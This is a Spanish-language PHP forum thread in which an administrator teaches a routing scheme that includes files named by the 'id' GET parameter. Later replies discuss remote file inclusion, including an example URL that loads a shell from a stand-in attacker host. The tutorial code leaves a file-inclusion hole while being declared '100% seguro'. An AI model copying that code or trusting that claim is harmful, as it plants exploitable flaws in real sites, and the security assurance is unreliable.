Autor Tema: Sistema de Modulación [index.php?id=seccion]  (Leído 43303 veces)

Desconectado naveda

  • Administrador General
  • PHPero Master
  • *****
  • Mensajes: 2.282
  • Karma: 166
  • Sexo: Masculino
    • Ver Perfil
    • naveda.me
Sistema de Modulación [index.php?id=seccion]
« en: 02 de Enero de 2007, 22:31:27 pm »
He visto que muchos estais interesados en aplicar un sistema de modulación a vuestro sitio web pero no entendeis muy bien que es lo que debeis hacer ni como lo teneis que aplicar. Por esto, me he decidido a crear este tutorial que constará de una unica parte en la que espero explicar con todo detalle el funcionamiento de un sistema de modulación del tipo:

archivo.php?id=seccion

Dicho esto empezaré dando una introducción sobre la utilidad de este sistema.
Un sistema de Modulación sirve para evitar tener que crear tantos archivos como secciones tengamos, por ejemplo, Si yo tuviera una web que tuviera la siguientes secciones:

  • Principal
  • Galeria
  • Informacion
  • Descargas

Tendría que crear 3 archivos diferentes con el diseño de la web y el contenido de cada seccion, pero con el sistema de modulación solamente tendremos que tener creado un solo archivo con el diseño (normalmente es el index.php) y todas las secciones restantes solamente tendrían el contenido.

Voy a llevar esta idea a la realidad, para ello voy a hacer lo siguiente:

  • Crearé un archivo llamado index.php en el cual estará el diseño de la web con todos los menus creados pero dejaré el lugar donde se verá el contenido vacio.
  • Crearé un archivo llamado principal.php en el que estará el contenido que se verá en la principal
  • Crearé un archivo llamado informacion.php con el texto que yo desee, por ejemplo: Un Sistema de modulacion nos facilita el desarrollo de una web

El archivo index.php podría ser algo como:
Código: [Seleccionar]
<html>
<head>
<title>Pagina web</title>
</head>
<body>
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tr>
<td valign="top" width="20%">:: Principal<br>
:: <a href="index.php?id=galeria">Galeria</a><br>
:: <a href="index.php?id=informacio">Información</a><br>
:: <a href="index.php?id=descargas">Descargas</a></td>
<td valign="top">
<?PHP
if (isset($_GET['id'])) {
if (!empty($_GET['id']) && $_GET['id'] != "index") {
if (file_exists($_GET['id'].".php")) {
include ($_GET['id'].".php");
} else {
echo "No existe esta seccion";
}
} else {
include ("principal.php");
}
} else {
include ("principal.php");
}
?></td>
</tr>
</table>
</body>
</html>

principal.php
Código: [Seleccionar]
Bienvenido al tutorial sobre el SISTEMA DE MODULACION en PHPeros.net
informacion.php
Código: [Seleccionar]
Un Sistema de modulacion nos facilita el desarrollo de una web
Deducimos, por tanto, que el codigo que realiza la modulacion es el siguiente:
<?PHP
	
if (isset(
$_GET['id'])) {
	
	
if (!empty(
$_GET['id']) && $_GET['id'] != "index") {
	
	
	
if (
file_exists($_GET['id'].".php")) {
	
	
	
	
include (
"./".$_GET['id'].".php");
	
	
	
} else {
	
	
	
	
echo 
"No existe esta seccion";
	
	
	
}
	
	
} else {
	
	
	
include (
"principal.php");
	
	
}
	
} else {
	
	
include (
"principal.php");
	
}
?>

Lo que hago es comprobar si existe la variable superglobal id, si existe compruebo si no es igual a index (provocaría un bucle infinito) y no esta vacio. Despues compruebo si existe el archivo correspondiente a la seccion que deseo ver y si existe lo incluyo para que se vea, sino muestro un error.

Si no ha elegido ninguna seccion, es decir, si no existe la variable superglobal id, se muestra la pagina principal :D

El sistema se aplica del siguiente modo:
Código: [Seleccionar]
<a href="index.php?id=galeria">Galeria</a><br>
<a href="index.php?id=informacion">Información</a><br>
<a href="index.php?id=descargas">Descargas</a>
Para poder añadir mas secciones, solamente debes crear un archivo por ejemplo que se llame archivo.php y crear otro enlace del siguiente tipo:
Código: [Seleccionar]
<a href="index.php?id=archivo">Seccion</a><br>
¿Alguna duda?
« Última modificación: 12 de Agosto de 2010, 13:55:18 pm por naveda »
Por favor, leete las Normas


Comunidad PHPeros

Sistema de Modulación [index.php?id=seccion]
« en: 02 de Enero de 2007, 22:31:27 pm »

Desconectado xmc254

  • PHPer@ Fijo
  • ***
  • Mensajes: 159
  • Karma: -3
  • Sexo: Masculino
    • Ver Perfil
    • Zona-Djs
Re: Sistema de Modulación [index.php?id=seccion]
« Respuesta #1 en: 11 de Enero de 2007, 17:49:53 pm »
nave, pero mi host tiene para editar las paginas de error, ¿como podria hacer en un sistema de modulacion que redirijan a esas paginas de error?
php & mysql

Desconectado naveda

  • Administrador General
  • PHPero Master
  • *****
  • Mensajes: 2.282
  • Karma: 166
  • Sexo: Masculino
    • Ver Perfil
    • naveda.me
Re: Sistema de Modulación [index.php?id=seccion]
« Respuesta #2 en: 11 de Enero de 2007, 18:40:29 pm »
Podría usarse la funcion header() para mostrar errores, 404, 400, 401... Pero como sabeis si hay algo escrito antes de usar esa función no funciona.
Por favor, leete las Normas


Desconectado xmc254

  • PHPer@ Fijo
  • ***
  • Mensajes: 159
  • Karma: -3
  • Sexo: Masculino
    • Ver Perfil
    • Zona-Djs
Re: Sistema de Modulación [index.php?id=seccion]
« Respuesta #3 en: 12 de Enero de 2007, 23:52:04 pm »
Podría usarse la funcion header() para mostrar errores, 404, 400, 401... Pero como sabeis si hay algo escrito antes de usar esa función no funciona.
dices que si no uso la funcion header() en el sistema de modulacion no funciona las pag de error o qu si no meto header() en las paginas de error no funciona la pag...
php & mysql

Desconectado CarlosRdrz

  • Moderador Global
  • PHPero Master
  • *****
  • Mensajes: 2.505
  • Karma: 131
  • Sexo: Masculino
  • A.k.a. TLX
    • Ver Perfil
Re: Sistema de Modulación [index.php?id=seccion]
« Respuesta #4 en: 16 de Enero de 2007, 21:13:50 pm »
El quiere deci que si escribes antes de la funcion header algunos tipos de codigos (echo, setcookie....), la funcion header no funcionara, con lo que no te servira para nada mostrar errores con esa funcion...
La dedicación de mi respuesta sera directamente proporcional a la dedicación de tu pregunta.
Hacer códigos que entiendan las máquinas es fácil, lo difícil y realmente útil es hacer códigos que entiendan las personas.
http://twitter.com/CarlosRdrz
http://www.carlosrdrz.es

Desconectado kekoman

  • PHPero Master
  • ******
  • Mensajes: 1.180
  • Karma: 45
  • Sexo: Masculino
  • Mi nuevo usuario es marco811
    • Ver Perfil
Re: Sistema de Modulación [index.php?id=seccion]
« Respuesta #5 en: 19 de Enero de 2007, 22:24:04 pm »
explia un poco el codigo porfacor
« Última modificación: 21 de Abril de 2007, 23:38:16 pm por kekoman »


Este usuario ya no lo uso, mi nuevo usuario es marco811

Desconectado Balita

  • PHPer@ Fijo
  • ***
  • Mensajes: 173
  • Karma: 2
  • Sexo: Masculino
  • Dale tiempo al tiempo...
    • Ver Perfil
Re: Sistema de Modulación [index.php?id=seccion]
« Respuesta #6 en: 08 de Julio de 2007, 16:37:44 pm »
pero ami me habían dicho que ese codigo es el mas facil de hackear es verdad?
<?php  Balita[PHPeros User];  ?>

Desconectado Revancha

  • PHPero Avanzado
  • ****
  • Mensajes: 375
  • Karma: 22
  • Sexo: Masculino
    • Ver Perfil
Re: Sistema de Modulación [index.php?id=seccion]
« Respuesta #7 en: 08 de Julio de 2007, 16:41:40 pm »
De qué hablas?. Este código es muuuuuuuuuy seguro.

Desconectado Balita

  • PHPer@ Fijo
  • ***
  • Mensajes: 173
  • Karma: 2
  • Sexo: Masculino
  • Dale tiempo al tiempo...
    • Ver Perfil
Re: Sistema de Modulación [index.php?id=seccion]
« Respuesta #8 en: 08 de Julio de 2007, 17:27:21 pm »
ah pues muchas gracias
<?php  Balita[PHPeros User];  ?>

Desconectado CAEG

  • PHPer@
  • **
  • Mensajes: 80
  • Karma: 5
    • Ver Perfil
Re: Sistema de Modulación [index.php?id=seccion]
« Respuesta #9 en: 10 de Julio de 2007, 18:23:14 pm »
pero ami me habían dicho que ese codigo es el mas facil de hackear es verdad?
Pues a mi a simple vista me parece hackeable este script :S porque no estoy muy seguro despues lo probare en mi PC e intentare hacerle un rfi :S
si quieren checar si es hackeable hagan esto en el navegador pongan esto
tudominio.com/index.php?id=http://google.com
si les aparece google en la pagina esque es hackeable en caso de que te diga que el archivo no existe o algo asi esque es seguro  ;D
por cierto recuerden poner el HTTP antes de google porque si no no funciona :D

Desconectado naveda

  • Administrador General
  • PHPero Master
  • *****
  • Mensajes: 2.282
  • Karma: 166
  • Sexo: Masculino
    • Ver Perfil
    • naveda.me
Re: Sistema de Modulación [index.php?id=seccion]
« Respuesta #10 en: 10 de Julio de 2007, 18:59:04 pm »
No es hackeable mediante RFI ;)
COMPROBADO - Seguro al 100%
« Última modificación: 10 de Julio de 2007, 19:10:54 pm por naveda »
Por favor, leete las Normas


Desconectado Lokonator

  • PHPerit@
  • *
  • Mensajes: 19
  • Karma: 0
  • Sexo: Masculino
  • La práctica hace al maestro
    • Ver Perfil
    • RaLeX® ~ General Resources Center
Re: Sistema de Modulación [index.php?id=seccion]
« Respuesta #11 en: 11 de Julio de 2007, 04:46:20 am »
si quieren checar si es hackeable hagan esto en el navegador pongan esto
tudominio.com/index.php?id=http://google.com
si les aparece google en la pagina esque es hackeable en caso de que te diga que el archivo no existe o algo asi esque es seguro  ;D

Y si de casualidad aparece la misma página (el index.php) en vez de la de google o una que no se puede abrir. ¿Que significa?

Desconectado naveda

  • Administrador General
  • PHPero Master
  • *****
  • Mensajes: 2.282
  • Karma: 166
  • Sexo: Masculino
    • Ver Perfil
    • naveda.me
Re: Sistema de Modulación [index.php?id=seccion]
« Respuesta #12 en: 11 de Julio de 2007, 13:25:50 pm »
Yo lo he probado todo ya... No funciona el bug RFI en este sistema de modulación...
Por favor, leete las Normas


Desconectado FeDe

  • PHPero Avanzado
  • ****
  • Mensajes: 448
  • Karma: 35
  • Sexo: Masculino
  • BaDyDj -> ¡Mi Stylo, Mi ViDa!
    • Ver Perfil
Re: Sistema de Modulación [index.php?id=seccion]
« Respuesta #13 en: 12 de Julio de 2007, 17:06:58 pm »
Buenas,

No es "hackeable", debido a que la función file_exists, comprueba si existe el archivo en NUESTRO SERVIDOR (por cuenta de alojamiento).

Saludos.
Sin Firma me haces una? :P

Desconectado naveda

  • Administrador General
  • PHPero Master
  • *****
  • Mensajes: 2.282
  • Karma: 166
  • Sexo: Masculino
    • Ver Perfil
    • naveda.me
Re: Sistema de Modulación [index.php?id=seccion]
« Respuesta #14 en: 12 de Julio de 2007, 22:46:14 pm »
El problema los codigos que son hackeables mediante RFI es que directamente hacen algo como:

include($_GET['id'].".php");

Con esto pueden hackearte directamente haciendo algo como:

http://www.tuweb.com/?id=http://www.webdelhacker.com/ruta_shell

Todos los archivos php podrán ser incrustados en tu web y de esta forma seria hackeada.
Por favor, leete las Normas